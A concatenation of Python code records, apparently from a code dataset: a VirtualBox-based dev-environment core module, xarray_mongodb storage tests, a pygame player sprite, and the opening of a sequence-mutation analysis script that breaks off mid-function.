configFile = configFile if configFile else "substance.yml"
configFile = os.path.join(self.basePath, configFile)
self.config = Config(configFile)
self.insecureKey = None
self.insecurePubKey = None
self.assumeYes = False
self.initialized = False
def getBasePath(self):
return self.basePath
def getEnginesPath(self):
return self.enginesPath
def getBoxesPath(self):
return self.boxesPath
def getDbFile(self):
return self.dbFile
def initialize(self):
if self.initialized:
return OK(None)
return self.assertPaths().then(self.assertConfig).then(self.initializeDB).then(defer(self.setInitialized, b=True))
def setInitialized(self, b):
self.initialized = b
def assertPaths(self):
return OK([self.basePath, self.enginesPath, self.boxesPath]).mapM(Shell.makeDirectory)
def assertConfig(self):
return self.config.loadConfigFile() \
.catchError(FileDoesNotExist, self.makeDefaultConfig)
def getDefaultConfig(self):
defaults = OrderedDict()
defaults['assumeYes'] = False
defaults['drivers'] = ['virtualbox']
defaults['tld'] = '.dev'
defaults['devroot'] = getHomeDirectory('substance')
defaults['current'] = OrderedDict()
defaults['engine'] = None
defaults['subenv'] = None
return defaults
def makeDefaultConfig(self, data=None):
logger.info("Generating default substance configuration in %s",
self.config.getConfigFile())
defaults = self.getDefaultConfig()
for kkk, vvv in defaults.items():
self.config.set(kkk, vvv)
self.config.set("basePath", self.basePath)
return self.config.saveConfig()
# -- Use
def setUse(self, engine, subenvName=None):
ops = [self.setCurrentEngine(engine)]
if subenvName:
ops.append(engine.envSwitch(subenvName))
return Try.sequence(ops)
def setCurrentEngine(self, engine):
current = self.config.get('current')
current.update({'engine': engine.name})
self.config.set('current', current)
return OK(self)
def readCurrentEngineName(self):
current = self.config.get('current', {})
name = current.get('engine', None)
if not name:
return Fail(EngineNotFoundError("No current engine is specified. Check the 'use' command for details."))
return OK(name)
def loadCurrentEngine(self, name=None):
current = self.config.get('current', {})
engineName = name
if not engineName:
engineName = current.get('engine', None)
if not engineName:
return Fail(EngineNotFoundError("No current engine is specified. Check the 'use' command for details."))
engine = self.loadEngine(engineName) \
.bind(Engine.loadConfigFile) \
.bind(Engine.loadState)
if engine.isFail():
return engine
engine = engine.getOK()
if engine.state is not EngineStates.RUNNING:
return Fail(EngineNotRunning("Engine '%s' is not running." % engine.name))
return OK(engine)
# -- Runtime
def setAssumeYes(self, ay):
self.assumeYes = True
return True
def getAssumeYes(self):
if self.config.get('assumeYes', False):
return True
elif self.assumeYes:
return True
return False
def getDefaultBoxString(self):
return DefaultEngineBox
# -- Engine library management
def getEngines(self):
ddebug("getEngines()")
dirs = [d for d in os.listdir(self.enginesPath) if os.path.isdir(
os.path.join(self.enginesPath, d))]
return OK(dirs)
def loadEngines(self, engines=[]):
return OK([self.loadEngine(x) for x in engines])
def loadEngine(self, name):
enginePath = os.path.join(self.enginesPath, name)
if not os.path.isdir(enginePath):
return Fail(EngineNotFoundError("Engine \"%s\" does not exist." % name))
else:
return OK(Engine(name, enginePath=enginePath, core=self))
def createEngine(self, name, config=None, profile=None):
enginePath = os.path.join(self.enginesPath, name)
newEngine = Engine(name, enginePath=enginePath, core=self)
return newEngine.create(config=config, profile=profile)
def removeEngine(self, name):
return self.loadEngine(name) \
>> Engine.remove
# -- Driver handling
def getDrivers(self):
return self.config.get('drivers', [])
def validateDriver(self, driver):
if driver in self.getDrivers():
return OK(driver)
return Fail(ValueError("Driver '%s' is not a valid driver."))
def getDriver(self, name):
cls = {
'virtualbox': VirtualBoxDriver
}.get(name, 'virtualbox')
driver = cls(core=self)
return driver
# -- Link handling
def getLink(self, type="ssh"):
link = Link(keyFile=self.getInsecureKeyFile(), keyFormat='RSA')
return link
# -- Database
def getDB(self):
return self.db
def initializeDB(self):
db = DB(self.dbFile)
db = db.initialize()
if db.isFail():
return db
self.db = db.getOK()
return OK(self.db)
# -- Box handling
def readBox(self, boxstring):
return Box.parseBoxString(boxstring) \
.map(lambda p: Box(core=self, **p))
def pullBox(self, box):
return box.fetch()
def removeBox(self, box):
return box.delete()
def getBoxes(self):
return self.getDB().getBoxRecords() \
.mapM(lambda r: OK(Box(self, r.get('name'), r.get('version'), r.get('namespace'), r.get('registry'), r.get('boxstring'), r.get('archiveSHA1'))))
def getInsecureKeyFile(self):
return getSupportFile('support/substance_insecure')
def getInsecurePubKeyFile(self):
return getSupportFile('support/substance_insecure.pub') | substance/core.py | import sys
import os
import logging
from collections import OrderedDict
from substance.monads import *
from substance.logs import *
from substance.shell import Shell
from substance.engine import Engine
from substance.link import Link
from substance.box import Box
from substance.db import DB
from substance.constants import Tables, EngineStates, DefaultEngineBox
from substance.utils import (
readYAML,
writeYAML,
readSupportFile,
getSupportFile,
streamDownload,
makeXHRRequest,
sha1sum
)
from substance.path import (getHomeDirectory)
from substance.config import (Config)
from substance.driver.virtualbox import VirtualBoxDriver
from substance.exceptions import (
FileSystemError,
FileDoesNotExist,
EngineNotFoundError,
EngineExistsError,
EngineNotRunning
)
import requests
logger = logging.getLogger(__name__)
class Core(object):
def __init__(self, configFile=None, basePath=None):
self.basePath = os.path.abspath(basePath) if basePath else getHomeDirectory('.substance')
self.enginesPath = os.path.join(self.basePath, "engines")
self.boxesPath = os.path.join(self.basePath, "boxes")
self.dbFile = os.path.join(self.basePath, "db.json")
configFile = configFile if configFile else "substance.yml"
configFile = os.path.join(self.basePath, configFile)
self.config = Config(configFile)
self.insecureKey = None
self.insecurePubKey = None
self.assumeYes = False
self.initialized = False
def getBasePath(self):
return self.basePath
def getEnginesPath(self):
return self.enginesPath
def getBoxesPath(self):
return self.boxesPath
def getDbFile(self):
return self.dbFile
def initialize(self):
if self.initialized:
return OK(None)
return self.assertPaths().then(self.assertConfig).then(self.initializeDB).then(defer(self.setInitialized, b=True))
def setInitialized(self, b):
self.initialized = b
def assertPaths(self):
return OK([self.basePath, self.enginesPath, self.boxesPath]).mapM(Shell.makeDirectory)
def assertConfig(self):
return self.config.loadConfigFile() \
.catchError(FileDoesNotExist, self.makeDefaultConfig)
def getDefaultConfig(self):
defaults = OrderedDict()
defaults['assumeYes'] = False
defaults['drivers'] = ['virtualbox']
defaults['tld'] = '.dev'
defaults['devroot'] = getHomeDirectory('substance')
defaults['current'] = OrderedDict()
defaults['engine'] = None
defaults['subenv'] = None
return defaults
def makeDefaultConfig(self, data=None):
logger.info("Generating default substance configuration in %s",
self.config.getConfigFile())
defaults = self.getDefaultConfig()
for kkk, vvv in defaults.items():
self.config.set(kkk, vvv)
self.config.set("basePath", self.basePath)
return self.config.saveConfig()
# -- Use
def setUse(self, engine, subenvName=None):
ops = [self.setCurrentEngine(engine)]
if subenvName:
ops.append(engine.envSwitch(subenvName))
return Try.sequence(ops)
def setCurrentEngine(self, engine):
current = self.config.get('current')
current.update({'engine': engine.name})
self.config.set('current', current)
return OK(self)
def readCurrentEngineName(self):
current = self.config.get('current', {})
name = current.get('engine', None)
if not name:
return Fail(EngineNotFoundError("No current engine is specified. Check the 'use' command for details."))
return OK(name)
def loadCurrentEngine(self, name=None):
current = self.config.get('current', {})
engineName = name
if not engineName:
engineName = current.get('engine', None)
if not engineName:
return Fail(EngineNotFoundError("No current engine is specified. Check the 'use' command for details."))
engine = self.loadEngine(engineName) \
.bind(Engine.loadConfigFile) \
.bind(Engine.loadState)
if engine.isFail():
return engine
engine = engine.getOK()
if engine.state is not EngineStates.RUNNING:
return Fail(EngineNotRunning("Engine '%s' is not running." % engine.name))
return OK(engine)
# -- Runtime
def setAssumeYes(self, ay):
self.assumeYes = True
return True
def getAssumeYes(self):
if self.config.get('assumeYes', False):
return True
elif self.assumeYes:
return True
return False
def getDefaultBoxString(self):
return DefaultEngineBox
# -- Engine library management
def getEngines(self):
ddebug("getEngines()")
dirs = [d for d in os.listdir(self.enginesPath) if os.path.isdir(
os.path.join(self.enginesPath, d))]
return OK(dirs)
def loadEngines(self, engines=[]):
return OK([self.loadEngine(x) for x in engines])
def loadEngine(self, name):
enginePath = os.path.join(self.enginesPath, name)
if not os.path.isdir(enginePath):
return Fail(EngineNotFoundError("Engine \"%s\" does not exist." % name))
else:
return OK(Engine(name, enginePath=enginePath, core=self))
def createEngine(self, name, config=None, profile=None):
enginePath = os.path.join(self.enginesPath, name)
newEngine = Engine(name, enginePath=enginePath, core=self)
return newEngine.create(config=config, profile=profile)
def removeEngine(self, name):
return self.loadEngine(name) \
>> Engine.remove
# -- Driver handling
def getDrivers(self):
return self.config.get('drivers', [])
def validateDriver(self, driver):
if driver in self.getDrivers():
return OK(driver)
return Fail(ValueError("Driver '%s' is not a valid driver."))
def getDriver(self, name):
cls = {
'virtualbox': VirtualBoxDriver
}.get(name, 'virtualbox')
driver = cls(core=self)
return driver
# -- Link handling
def getLink(self, type="ssh"):
link = Link(keyFile=self.getInsecureKeyFile(), keyFormat='RSA')
return link
# -- Database
def getDB(self):
return self.db
def initializeDB(self):
db = DB(self.dbFile)
db = db.initialize()
if db.isFail():
return db
self.db = db.getOK()
return OK(self.db)
# -- Box handling
def readBox(self, boxstring):
return Box.parseBoxString(boxstring) \
.map(lambda p: Box(core=self, **p))
def pullBox(self, box):
return box.fetch()
def removeBox(self, box):
return box.delete()
def getBoxes(self):
return self.getDB().getBoxRecords() \
.mapM(lambda r: OK(Box(self, r.get('name'), r.get('version'), r.get('namespace'), r.get('registry'), r.get('boxstring'), r.get('archiveSHA1'))))
def getInsecureKeyFile(self):
return getSupportFile('support/substance_insecure')
def getInsecurePubKeyFile(self):
return getSupportFile('support/substance_insecure.pub') | 0.350755 | 0.076408 |
import bson
import pytest
import xarray
from xarray_mongodb import DocumentNotFoundError, XarrayMongoDB
from . import assert_chunks_index
from .data import (
da,
ds,
expect_da_chunks,
expect_da_meta,
expect_ds_chunks,
expect_ds_meta,
expect_meta_minimal,
parametrize_roundtrip,
)
def test_init(sync_db):
xdb = XarrayMongoDB(sync_db, "foo", chunk_size_bytes=123, embed_threshold_bytes=456)
assert xdb.meta.database is sync_db
assert xdb.meta.name == "foo.meta"
assert xdb.chunks.database is sync_db
assert xdb.chunks.name == "foo.chunks"
assert xdb.chunk_size_bytes == 123
assert xdb.embed_threshold_bytes == 456
def test_index_on_put(sync_xdb):
indices = list(sync_xdb.chunks.list_indexes())
assert not indices
sync_xdb.put(xarray.DataArray([1, 2]))
indices = list(sync_xdb.chunks.list_indexes())
assert_chunks_index(indices)
def test_index_on_get(sync_xdb):
indices = list(sync_xdb.chunks.list_indexes())
assert not indices
_id = sync_xdb.meta.insert_one(
{"coords": {}, "data_vars": {}, "chunkSize": 261120}
).inserted_id
sync_xdb.get(_id)
indices = list(sync_xdb.chunks.list_indexes())
assert_chunks_index(indices)
@parametrize_roundtrip
@pytest.mark.parametrize("chunk_size_bytes", [16, 2 ** 20])
def test_roundtrip(
sync_xdb, compute, load, chunks, embed_threshold_bytes, chunk_size_bytes
):
sync_xdb.chunk_size_bytes = chunk_size_bytes
sync_xdb.embed_threshold_bytes = embed_threshold_bytes
if compute:
_id, future = sync_xdb.put(ds.compute())
assert future is None
else:
_id, future = sync_xdb.put(ds)
future.compute()
assert isinstance(_id, bson.ObjectId)
ds2 = sync_xdb.get(_id, load=load)
xarray.testing.assert_identical(ds, ds2)
assert {k: v.chunks for k, v in ds2.variables.items()} == chunks
def test_db_contents(sync_xdb):
assert sync_xdb.meta.name.endswith(".meta")
assert sync_xdb.chunks.name.endswith(".chunks")
assert sync_xdb.meta.name.split(".")[:-1] == sync_xdb.chunks.name.split(".")[:-1]
_id, future = sync_xdb.put(ds)
future.compute()
assert list(sync_xdb.meta.find()) == expect_ds_meta(_id)
chunks = sorted(
sync_xdb.chunks.find({}, {"_id": False}),
key=lambda doc: (doc["name"], doc["chunk"]),
)
assert chunks == sorted(
expect_ds_chunks(_id), key=lambda doc: (doc["name"], doc["chunk"])
)
def test_minimal(sync_xdb):
ds_min = xarray.Dataset()
_id, _ = sync_xdb.put(ds_min)
assert list(sync_xdb.meta.find()) == expect_meta_minimal(_id)
assert list(sync_xdb.chunks.find({}, {"_id": False})) == []
out = sync_xdb.get(_id)
xarray.testing.assert_identical(ds_min, out)
@pytest.mark.parametrize("name", [None, "foo"])
def test_dataarray(sync_xdb, name):
da2 = da.copy()
if name:
da2.name = name
_id, _ = sync_xdb.put(da2)
assert list(sync_xdb.meta.find()) == expect_da_meta(_id, name)
assert list(sync_xdb.chunks.find({}, {"_id": False})) == expect_da_chunks(_id)
out = sync_xdb.get(_id)
xarray.testing.assert_identical(da2, out)
def test_multisegment(sync_xdb):
sync_xdb.chunk_size_bytes = 4
_id, future = sync_xdb.put(ds)
future.compute()
assert sync_xdb.chunks.find_one({"n": 2})
ds2 = sync_xdb.get(_id)
xarray.testing.assert_identical(ds, ds2)
def test_size_zero(sync_xdb):
a = xarray.DataArray([])
_id, _ = sync_xdb.put(a)
a2 = sync_xdb.get(_id)
xarray.testing.assert_identical(a, a2)
def test_nan_chunks(sync_xdb):
"""Test the case where the metadata of a dask array can't know the chunk sizes, as
they are defined at the moment of computing it.
.. note::
We're triggering a degenerate case where one of the chunks has size 0.
"""
a = xarray.DataArray([1, 2, 3, 4]).chunk(2)
# two xarray bugs at the moment of writing:
# https://github.com/pydata/xarray/issues/2801
# a = a[a > 2]
a = xarray.DataArray(a.data[a.data > 2])
assert str(a.shape) == "(nan,)"
assert str(a.chunks) == "((nan, nan),)"
_id, future = sync_xdb.put(a)
future.compute()
a2 = sync_xdb.get(_id)
assert str(a2.shape) == "(nan,)"
assert str(a2.chunks) == "((nan, nan),)"
# second xarray bug
# xarray.testing.assert_identical(a, a2)
xarray.testing.assert_identical(
xarray.DataArray(a.data.compute()), xarray.DataArray(a2.data.compute())
)
def test_meta_not_found(sync_xdb):
with pytest.raises(DocumentNotFoundError) as ex:
sync_xdb.get(bson.ObjectId("deadbeefdeadbeefdeadbeef"))
assert str(ex.value) == "deadbeefdeadbeefdeadbeef"
def test_no_segments_found(sync_xdb):
_id, future = sync_xdb.put(ds)
future.compute()
sync_xdb.chunks.delete_many({"name": "d", "chunk": [1, 0]})
ds2 = sync_xdb.get(_id)
with pytest.raises(DocumentNotFoundError) as ex:
ds2.compute()
assert str(ex.value) == (
f"{{'meta_id': ObjectId('{_id}'), 'name': 'd', 'chunk': (1, 0)}}"
)
# A missing chunk with chunk_size_bytes=2 causes np.frombuffer to crash with
# 'ValueError: buffer size must be a multiple of element size'.
# A missing chunk with chunk_size_bytes=8 causes ndarray.reshape to crash with
# 'ValueError: cannot reshape array of size 1 into shape (1,2)'.
@pytest.mark.parametrize("chunk_size_bytes", (2, 8))
def test_some_segments_not_found(sync_xdb, chunk_size_bytes):
sync_xdb.chunk_size_bytes = chunk_size_bytes
_id, future = sync_xdb.put(ds)
future.compute()
sync_xdb.chunks.delete_one({"name": "d", "chunk": [1, 0], "n": 1})
ds2 = sync_xdb.get(_id)
with pytest.raises(DocumentNotFoundError) as ex:
ds2.compute()
assert str(ex.value) == (
f"{{'meta_id': ObjectId('{_id}'), 'name': 'd', 'chunk': (1, 0)}}"
)
@pytest.mark.parametrize(
"embed_threshold_bytes,expect_chunks",
[
(0, {"b", "c", "d", "e", "f"}),
(8, {"b", "c", "d", "e"}),
(24, {"b", "d", "e"}),
(48, {"d", "e"}),
],
)
def test_embed_threshold(sync_xdb, embed_threshold_bytes, expect_chunks):
ds = xarray.Dataset(
data_vars={
"a": ("x", []),
"b": ("y", [1.1, 2.2, 3.3]),
"c": ("z", [4.4, 5.5]),
"d": ("x", []), # dask variable
"e": ("z", [1, 2]), # dask variable
"f": 1.23,
}
)
ds["d"] = ds["d"].chunk()
ds["e"] = ds["e"].chunk()
assert sync_xdb.embed_threshold_bytes == 0
sync_xdb.embed_threshold_bytes = embed_threshold_bytes
_id, future = sync_xdb.put(ds)
future.compute()
ds2 = sync_xdb.get(_id)
xarray.testing.assert_identical(ds, ds2)
got_chunks = {chunk["name"] for chunk in sync_xdb.chunks.find({})}
assert got_chunks == expect_chunks
def test_embed_everything(sync_xdb):
a = xarray.DataArray([1, 2])
assert sync_xdb.embed_threshold_bytes == 0
sync_xdb.embed_threshold_bytes = 16
_id, _ = sync_xdb.put(a)
a2 = sync_xdb.get(_id)
xarray.testing.assert_identical(a, a2)
assert not list(sync_xdb.chunks.find({})) | xarray_mongodb/tests/test_sync.py | import bson
import pytest
import xarray
from xarray_mongodb import DocumentNotFoundError, XarrayMongoDB
from . import assert_chunks_index
from .data import (
da,
ds,
expect_da_chunks,
expect_da_meta,
expect_ds_chunks,
expect_ds_meta,
expect_meta_minimal,
parametrize_roundtrip,
)
def test_init(sync_db):
xdb = XarrayMongoDB(sync_db, "foo", chunk_size_bytes=123, embed_threshold_bytes=456)
assert xdb.meta.database is sync_db
assert xdb.meta.name == "foo.meta"
assert xdb.chunks.database is sync_db
assert xdb.chunks.name == "foo.chunks"
assert xdb.chunk_size_bytes == 123
assert xdb.embed_threshold_bytes == 456
def test_index_on_put(sync_xdb):
indices = list(sync_xdb.chunks.list_indexes())
assert not indices
sync_xdb.put(xarray.DataArray([1, 2]))
indices = list(sync_xdb.chunks.list_indexes())
assert_chunks_index(indices)
def test_index_on_get(sync_xdb):
indices = list(sync_xdb.chunks.list_indexes())
assert not indices
_id = sync_xdb.meta.insert_one(
{"coords": {}, "data_vars": {}, "chunkSize": 261120}
).inserted_id
sync_xdb.get(_id)
indices = list(sync_xdb.chunks.list_indexes())
assert_chunks_index(indices)
@parametrize_roundtrip
@pytest.mark.parametrize("chunk_size_bytes", [16, 2 ** 20])
def test_roundtrip(
sync_xdb, compute, load, chunks, embed_threshold_bytes, chunk_size_bytes
):
sync_xdb.chunk_size_bytes = chunk_size_bytes
sync_xdb.embed_threshold_bytes = embed_threshold_bytes
if compute:
_id, future = sync_xdb.put(ds.compute())
assert future is None
else:
_id, future = sync_xdb.put(ds)
future.compute()
assert isinstance(_id, bson.ObjectId)
ds2 = sync_xdb.get(_id, load=load)
xarray.testing.assert_identical(ds, ds2)
assert {k: v.chunks for k, v in ds2.variables.items()} == chunks
def test_db_contents(sync_xdb):
assert sync_xdb.meta.name.endswith(".meta")
assert sync_xdb.chunks.name.endswith(".chunks")
assert sync_xdb.meta.name.split(".")[:-1] == sync_xdb.chunks.name.split(".")[:-1]
_id, future = sync_xdb.put(ds)
future.compute()
assert list(sync_xdb.meta.find()) == expect_ds_meta(_id)
chunks = sorted(
sync_xdb.chunks.find({}, {"_id": False}),
key=lambda doc: (doc["name"], doc["chunk"]),
)
assert chunks == sorted(
expect_ds_chunks(_id), key=lambda doc: (doc["name"], doc["chunk"])
)
def test_minimal(sync_xdb):
ds_min = xarray.Dataset()
_id, _ = sync_xdb.put(ds_min)
assert list(sync_xdb.meta.find()) == expect_meta_minimal(_id)
assert list(sync_xdb.chunks.find({}, {"_id": False})) == []
out = sync_xdb.get(_id)
xarray.testing.assert_identical(ds_min, out)
@pytest.mark.parametrize("name", [None, "foo"])
def test_dataarray(sync_xdb, name):
da2 = da.copy()
if name:
da2.name = name
_id, _ = sync_xdb.put(da2)
assert list(sync_xdb.meta.find()) == expect_da_meta(_id, name)
assert list(sync_xdb.chunks.find({}, {"_id": False})) == expect_da_chunks(_id)
out = sync_xdb.get(_id)
xarray.testing.assert_identical(da2, out)
def test_multisegment(sync_xdb):
sync_xdb.chunk_size_bytes = 4
_id, future = sync_xdb.put(ds)
future.compute()
assert sync_xdb.chunks.find_one({"n": 2})
ds2 = sync_xdb.get(_id)
xarray.testing.assert_identical(ds, ds2)
def test_size_zero(sync_xdb):
a = xarray.DataArray([])
_id, _ = sync_xdb.put(a)
a2 = sync_xdb.get(_id)
xarray.testing.assert_identical(a, a2)
def test_nan_chunks(sync_xdb):
"""Test the case where the metadata of a dask array can't know the chunk sizes, as
they are defined at the moment of computing it.
.. note::
We're triggering a degenerate case where one of the chunks has size 0.
"""
a = xarray.DataArray([1, 2, 3, 4]).chunk(2)
# two xarray bugs at the moment of writing:
# https://github.com/pydata/xarray/issues/2801
# a = a[a > 2]
a = xarray.DataArray(a.data[a.data > 2])
assert str(a.shape) == "(nan,)"
assert str(a.chunks) == "((nan, nan),)"
_id, future = sync_xdb.put(a)
future.compute()
a2 = sync_xdb.get(_id)
assert str(a2.shape) == "(nan,)"
assert str(a2.chunks) == "((nan, nan),)"
# second xarray bug
# xarray.testing.assert_identical(a, a2)
xarray.testing.assert_identical(
xarray.DataArray(a.data.compute()), xarray.DataArray(a2.data.compute())
)
def test_meta_not_found(sync_xdb):
with pytest.raises(DocumentNotFoundError) as ex:
sync_xdb.get(bson.ObjectId("deadbeefdeadbeefdeadbeef"))
assert str(ex.value) == "deadbeefdeadbeefdeadbeef"
def test_no_segments_found(sync_xdb):
_id, future = sync_xdb.put(ds)
future.compute()
sync_xdb.chunks.delete_many({"name": "d", "chunk": [1, 0]})
ds2 = sync_xdb.get(_id)
with pytest.raises(DocumentNotFoundError) as ex:
ds2.compute()
assert str(ex.value) == (
f"{{'meta_id': ObjectId('{_id}'), 'name': 'd', 'chunk': (1, 0)}}"
)
# A missing chunk with chunk_size_bytes=2 causes np.frombuffer to crash with
# 'ValueError: buffer size must be a multiple of element size'.
# A missing chunk with chunk_size_bytes=8 causes ndarray.reshape to crash with
# 'ValueError: cannot reshape array of size 1 into shape (1,2)'.
@pytest.mark.parametrize("chunk_size_bytes", (2, 8))
def test_some_segments_not_found(sync_xdb, chunk_size_bytes):
sync_xdb.chunk_size_bytes = chunk_size_bytes
_id, future = sync_xdb.put(ds)
future.compute()
sync_xdb.chunks.delete_one({"name": "d", "chunk": [1, 0], "n": 1})
ds2 = sync_xdb.get(_id)
with pytest.raises(DocumentNotFoundError) as ex:
ds2.compute()
assert str(ex.value) == (
f"{{'meta_id': ObjectId('{_id}'), 'name': 'd', 'chunk': (1, 0)}}"
)
@pytest.mark.parametrize(
"embed_threshold_bytes,expect_chunks",
[
(0, {"b", "c", "d", "e", "f"}),
(8, {"b", "c", "d", "e"}),
(24, {"b", "d", "e"}),
(48, {"d", "e"}),
],
)
def test_embed_threshold(sync_xdb, embed_threshold_bytes, expect_chunks):
ds = xarray.Dataset(
data_vars={
"a": ("x", []),
"b": ("y", [1.1, 2.2, 3.3]),
"c": ("z", [4.4, 5.5]),
"d": ("x", []), # dask variable
"e": ("z", [1, 2]), # dask variable
"f": 1.23,
}
)
ds["d"] = ds["d"].chunk()
ds["e"] = ds["e"].chunk()
assert sync_xdb.embed_threshold_bytes == 0
sync_xdb.embed_threshold_bytes = embed_threshold_bytes
_id, future = sync_xdb.put(ds)
future.compute()
ds2 = sync_xdb.get(_id)
xarray.testing.assert_identical(ds, ds2)
got_chunks = {chunk["name"] for chunk in sync_xdb.chunks.find({})}
assert got_chunks == expect_chunks
def test_embed_everything(sync_xdb):
a = xarray.DataArray([1, 2])
assert sync_xdb.embed_threshold_bytes == 0
sync_xdb.embed_threshold_bytes = 16
_id, _ = sync_xdb.put(a)
a2 = sync_xdb.get(_id)
xarray.testing.assert_identical(a, a2)
assert not list(sync_xdb.chunks.find({})) | 0.64969 | 0.467575 |
import pygame as pg
from music import fallSound
class player(pg.sprite.Sprite):
def __init__(self):
pg.sprite.Sprite.__init__(self)
self.moving_right = False
self.moving_left = False
self.vertical_momentum = 0
self.air_timer = 0 # necessary because movement speed rounds down. miliseconds
self.player_flip = False # flipping idle image
self.enableDoubleJump = False
self.player_action = "static"
self.player_frame = 0
self.spawn_loc, self.spawned = [50,50], False #48 #43
self.player_rect = pg.Rect(self.spawn_loc[0],self.spawn_loc[1],43,50) # x,y, width and height. get_rect not implemented because image size change
self.right_border, self.bottom_border = 0, 0
self.health = 5
self.horiDiff = 0
self.pause = False
def move(self): #keypresses
"""
parameters: none
increases the class attribute for the playermovement based on the user's current action
returns none
"""
#self.player_movement = [0,0] #do this because it has to be reset each time
if self.moving_right == True:
self.player_movement[0] +=4 #adjust horizontal speed here
elif self.moving_left == True:
self.player_movement[0] -= 4
self.player_movement[1] += self.vertical_momentum
self.vertical_momentum += 0.26 #gravity
if self.vertical_momentum > 5: #max gravity
self.vertical_momentum = 5
#elf.player_movement[1] += self.vertical_momentum
if self.vertical_momentum > 5: #max gravity
self.vertical_momentum = 5
#elf.player_movement[1] += self.vertical_momentum
def new_action(self,old_action,frame_value,new_action):
"""
parameters: str, int, str
changes the player action; resets fram value
returns the changed old action and resetted frame value
"""
if old_action != new_action:
old_action = new_action
frame_value = 0 #resets to new animation 1st frame image.
return old_action,frame_value
def update(self):
"""
parameters: none
changes the player animation and frame in accordance with their movement
returns none
"""
self.player_movement[0] -= self.horiDiff
if self.player_movement[0] != 0:
self.player_action, self.player_frame = self.new_action(self.player_action, self.player_frame, "walk")
if self.player_movement[0] > 0:
self.player_flip = False
else:
self.player_flip = True
if self.player_movement[0] == 0:
self.player_action, self.player_frame = self.new_action(self.player_action,self.player_frame,"static")
if self.player_movement[1] < 0:
self.player_action, self.player_frame = self.new_action(self.player_action,self.player_frame,"jump")
self.player_frame += 1
self.player_movement[0] += self.horiDiff
self.horiDiff = 0
def boundaries(self):
"""
parameters: none
sets bottom, right, and left boundaries for the player to not cross
returns none
"""
if self.player_rect.y >= self.bottom_border:
fallSound.play()
self.health -= 1
self.spawned = False
elif self.player_rect.x >= self.right_border -43:
self.player_rect.x = self.right_border - 43
elif self.player_rect.x <= 0 :
self.player_rect.x = 0 | player_char.py | import pygame as pg
from music import fallSound
class player(pg.sprite.Sprite):
def __init__(self):
pg.sprite.Sprite.__init__(self)
self.moving_right = False
self.moving_left = False
self.vertical_momentum = 0
self.air_timer = 0 # necessary because movement speed rounds down. miliseconds
self.player_flip = False # flipping idle image
self.enableDoubleJump = False
self.player_action = "static"
self.player_frame = 0
self.spawn_loc, self.spawned = [50,50], False #48 #43
self.player_rect = pg.Rect(self.spawn_loc[0],self.spawn_loc[1],43,50) # x,y, width and height. get_rect not implemented because image size change
self.right_border, self.bottom_border = 0, 0
self.health = 5
self.horiDiff = 0
self.pause = False
def move(self): #keypresses
"""
parameters: none
increases the class attribute for the playermovement based on the user's current action
returns none
"""
#self.player_movement = [0,0] #do this because it has to be reset each time
if self.moving_right == True:
self.player_movement[0] +=4 #adjust horizontal speed here
elif self.moving_left == True:
self.player_movement[0] -= 4
self.player_movement[1] += self.vertical_momentum
self.vertical_momentum += 0.26 #gravity
if self.vertical_momentum > 5: #max gravity
self.vertical_momentum = 5
#elf.player_movement[1] += self.vertical_momentum
if self.vertical_momentum > 5: #max gravity
self.vertical_momentum = 5
#elf.player_movement[1] += self.vertical_momentum
def new_action(self,old_action,frame_value,new_action):
"""
parameters: str, int, str
changes the player action; resets fram value
returns the changed old action and resetted frame value
"""
if old_action != new_action:
old_action = new_action
frame_value = 0 #resets to new animation 1st frame image.
return old_action,frame_value
def update(self):
"""
parameters: none
changes the player animation and frame in accordance with their movement
returns none
"""
self.player_movement[0] -= self.horiDiff
if self.player_movement[0] != 0:
self.player_action, self.player_frame = self.new_action(self.player_action, self.player_frame, "walk")
if self.player_movement[0] > 0:
self.player_flip = False
else:
self.player_flip = True
if self.player_movement[0] == 0:
self.player_action, self.player_frame = self.new_action(self.player_action,self.player_frame,"static")
if self.player_movement[1] < 0:
self.player_action, self.player_frame = self.new_action(self.player_action,self.player_frame,"jump")
self.player_frame += 1
self.player_movement[0] += self.horiDiff
self.horiDiff = 0
def boundaries(self):
"""
parameters: none
sets bottom, right, and left boundaries for the player to not cross
returns none
"""
if self.player_rect.y >= self.bottom_border:
fallSound.play()
self.health -= 1
self.spawned = False
elif self.player_rect.x >= self.right_border -43:
self.player_rect.x = self.right_border - 43
elif self.player_rect.x <= 0 :
self.player_rect.x = 0 | 0.540924 | 0.199737 |
from moduleUsefulFunctions_20180215 import *
plt.close()
class dimerSixBaseObject:
def __init__(self):
self.readSeqDict={} #keys are tuples of the form ('Mutations in 1st half','Dimer junction','Mutations in 2nd half','Three Prime Base addition')
def returnStartPosition(alignInfoList):
for eachEl in alignInfoList:
if eachEl.typeOfEvent=='Start':
return eachEl.position
def returnEndPosition(alignInfoList):
for eachEl in alignInfoList:
if eachEl.typeOfEvent=='End':
return eachEl.position
def isFullLength(alignmentObject):
refSeq=alignmentObject.refUsed
startPos=returnStartPosition(alignmentObject.alignmentInfo[1])
endPos=returnEndPosition(alignmentObject.alignmentInfo[1])
if startPos==0 and endPos==len(refSeq):
return True
else:
return False
def checkWithinBounds(position,boundsList):
withinBounds=0
for eachTup in boundsList:
if position>=eachTup[0] and position<=eachTup[1]:
withinBounds+=1
if withinBounds==1:
return True
elif withinBounds>1:
print 'What??!!'
elif withinBounds==0:
return False
def returnNumberMutations(alignInfoList,boundsList):
numberMutations=0
for eachEl in alignInfoList:
if eachEl.typeOfEvent=='Start':
startPosition=eachEl.position
elif eachEl.typeOfEvent=='End':
endPosition=eachEl.position
for eachEl in alignInfoList:
if checkWithinBounds(eachEl.position,boundsList):
if eachEl.typeOfEvent=='Insertion':
if eachEl.position==startPosition or eachEl.position==endPosition: #only count insertions in the middle of the sequence as mutations
pass
else:
numberMutations+=1 #single base insertions counted as one mutation
elif eachEl.typeOfEvent=='Mismatch' or eachEl.typeOfEvent=='Deletion':
numberMutations+=1
return numberMutations
def returnMutationString(alignInfoList,boundsList,k):
mutString=''
for eachEl in alignInfoList:
if eachEl.typeOfEvent=='Start':
startPosition=eachEl.position
elif eachEl.typeOfEvent=='End':
endPosition=eachEl.position
for eachEl in alignInfoList:
if checkWithinBounds(eachEl.position,boundsList):
if eachEl.typeOfEvent=='Insertion':
if eachEl.position==startPosition or eachEl.position==endPosition: #only count insertions in the middle of the sequence as mutations
pass
else:
mutString+='I'+str(eachEl.position-k)+eachEl.notes
elif eachEl.typeOfEvent=='Mismatch':
mutString+='M'+str(eachEl.position-k)+eachEl.notes
elif eachEl.typeOfEvent=='Deletion':
mutString+='D'+str(eachEl.position-k)
return mutString
def diversityStringReturn(alignmentInfoList,boundsList,k):
